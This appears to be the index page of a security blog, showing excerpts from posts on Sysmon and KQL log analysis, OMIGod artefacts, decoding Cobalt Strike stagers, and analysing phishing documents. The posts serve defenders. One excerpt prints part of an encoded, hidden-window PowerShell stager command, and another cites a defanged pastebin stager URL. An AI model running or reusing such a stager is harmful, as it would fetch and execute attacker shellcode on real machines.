null0x4d5a

Recently I have come across a situation where I need to install Sysmon on a Linux virtual machine in Azure subscription and analyze those logs in Log analytics workspace. This post is a quick guide to help installing Sysmon and analyzing logs using Kusto query language.  Prerequisites to install Sysmon for Linux  Ensure the Linux virtual machine is on boarded to Log analytics workspace.  Collect Syslog events with Azure Monitor Agent. Install using this Installing Sysmon on Linux  For complete installation process on various .nix operating systems, follow Sysmon installation instructions here    Ubuntu 20.04 & 22.04  Register Microsoft key and feed wget -q https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb -O packages-microsoft-prod.deb sudo dpkg -i packages-microsoft-prod.deb  Install SysmonForLinux sudo apt-get update sudo apt-get install sysmonforlinux The Kusto query to parse the Sysmon logs on a Li...

INTRODUCTION This post walks you through the log analysis of OMIGod vulnerability exploitation artefacts using kusto query language (KQL). The raw json logs from exploited linux device are fetched into Azure KQL data explorer using externaldata() function and analysed in KQL instance. I have been learning Kusto Query Language as part of my routine and KQL experts can write better queries to fine tune json data than what I have mentioned here  The Linux device with vulnerable OMI version is configured with Linux Audit Daemon with the best practice configuration  This blog explains about setting up your own private pwn lab for OMI exploitation  This great Linux Logging with AuditD video by  IppSec   explains how to set up linux logging with Auditd. Below are all the comments by IppSec from the video (no comments from me and full credit goest to IppSec) Installing Auditd Downloading a good baseline ruleset from github  Going over the baseline file to un...

One of the best features of Cyberchef is YARA and yara rules can be run for a given file to classify and gain knowledge about the file. It can also quickly give an understanding and basic characteristics of the file Follow the below demo to know how to use yara rules in cyberchef  Cyberchef - https://gchq.github.io/CyberChef/  

This post explains about decoding FIN6 cobalt strike stagers using cyberchef and scdbg. Attackers leverage pastebin to host cobalt strike stagers or malicious droppers and few of them are still active on pastebin though the final c2 or  domains are not active. Below is one of those pastebin httpstagers  hxxps://pastebin[.]com/raw/HPpvY00Q. One of my previous posts  Decoding Metasploit and CobaltStrike shells  explains how to use CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2. Here scdbg command line version for linux is used to emulate the shellcode  References:  CyberChef Scdbg Cobalt Strike stagers used by FIN6 Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware

This post explains how to use scdbg  to analyse one type of shellcode generated by Metasploit framework or CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike).  The previous post Decoding Metasploit and CobaltStrike shells explains how to leverage CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary scdbg is a shellcode analysis application built around the libemu emulation library. When run it will display to the user all of the windows APIs the shellcode attempts to call  Finally, there are other ways to analyse shellcode in various platforms. This is just an explanatory post to...

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg  emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command  powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZ...

This post is just about running a tool created by hasherezade  to perform process doppleganging. All credit goes to the researchers Tal Liberman   and Eugene Kogan from  enSilo and also  hasherezade I just wanted to simulate the same process doppleganging and detect with  pe-sieve , it is recommended to walk through author's blackhat presentation  Lost in transaction - Process Doppelgänging and tool creator's write up  Process Doppelgänging – a new way to impersonate a process Process doppelganing is a code injection technique ( can be a substitute to traditional process hollowing code injection technique) that leverages NTFS transacations related Windows API calls which are less used with malicious intent and hence "less known" to AV vendors, hence this code injection technique is more likely to go undetected. The Doppelgänging objective is to load and execute aribitrary code in the context of a legitimate process, none of the process hollow...

Introduction  Phishing malicious documents can contain external relationship with type oleobject. A defender objective is to kill the attack at the early stage by blocking malicious domains at perimeter, this post levarages  Cyberchef   to extract payload urls quickly from malicious office documents CyberChef is an open source tool maintained by GCHQ . It provides a drag and drop interface via a web browser (Firefox & Chrome) to quickly perform a wide range of data manipulation functions called 'operations'. A sequence of operations is called a 'recipe'. As all the processing is client-side, CyberChef can be downloaded and used offline or in an air-gapped forensic network. CyberChef has operations useful for disk forensics, malware & network analysts, and even OSINT researchers. Tools  Cyberchef    Analysis  All document samples are pulled from Hybrid Analysis - a free malware analysis service for the community that detects...

Introduction  This post covers how to identify and extract shellcode manually from hancitor phishing office document. Refer  Part-1  and  Part-2  to get an understanding of  tools and approach to analyse phishing documents.  Tools  Didier Stevens Suite    sudo pip install oletools  Analysis   SHA256:  5d077b1341a6472f02aac89488976d4395a91ae4f23657b0344da74f4a560c8d   This sample contains encoded shellcode that starts a new (suspended) explorer.exe process, injects its own code (an embedded, encoded exe) and executes it.  This maldoc leverages  VBA macros  to execute its payload  and t he encoded shellcode is a property in stream 17.  T he shellcode uses WIN32 API functions like CreateProcess, ZwUnmapViewOfSection, GetThreadContext, ResumeThread etc. to inject code into the newly created process (explorer.exe) and execute it. This method is called process hollowing or proc...

Introduction This post covers how to identify and extract potential malicious content like embedded executable and payloads from Macro forms in office documents. Refer Part-1 and Part-2 to get an understanding of  tools and approach to analyse phishing documents. Tools  Didier Stevens Suite    sudo pip install oletools  Analysis  All document samples are pulled from  Hybrid Analysis  - a free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology.  Hash:  345b804a9416595840516674caaa65e65be57591d300beab2b6190298a9eac78 Download above mentioned sample and check the integrity Check the file properties using native Linux  file  command which gives quick idea about sample Ran o ledump.py  to check the embedded macros and macro related forms It was found that stream 14 and 15 look like macro forms.  Dump them...

Introduction  A basic and quick approach to analyse phishing documents to identify indicators of maliciousness. Refer Part-1  to understand the tools and approach to analyse office word document. This post covers the  static analysis of pdf document to identify suspicious objects. (FYI  running pdf in sandbox environment can give much insight related to indicators of compromise.)  FYI this post doesn't cover complete & in depth analysis (like dealing with malicious obfuscated javascripts or shellcode)  of malicious documents Tools peepdf Didier Stevens Suite    Analysis  All document samples are pulled from  Hybrid Analysis  - a free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology.  Hash: 93fc24573bd563f08b3a6a71276bfe085488d3bbb8d79bbbc3a75e5c0497e915              6256dead623e...

Introduction  A basic and quick approach to analyse phishing documents to identify indicators of maliciousness. FYI this post doesn't cover complete & in depth analysis of malicious documents Tools  Didier Stevens Suite   sudo pip install oletools  Yara - A pattern matching Swiss knife  Analysis  All document samples are pulled from  Hybrid Analysis  - a free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology.  Hash 1:  e07c84f98332b07ae40a22f15c32cbf794586e26576a7539def667881e15beae Download above mentioned sample and check the integrity Check the file properties using native Linux file command which gives quick idea about sample Download Didier Stevens Suite and check for yara rules. Run various rules against the sample document to identify any sort of maliciousness The below rule can identify an executable file embedded i...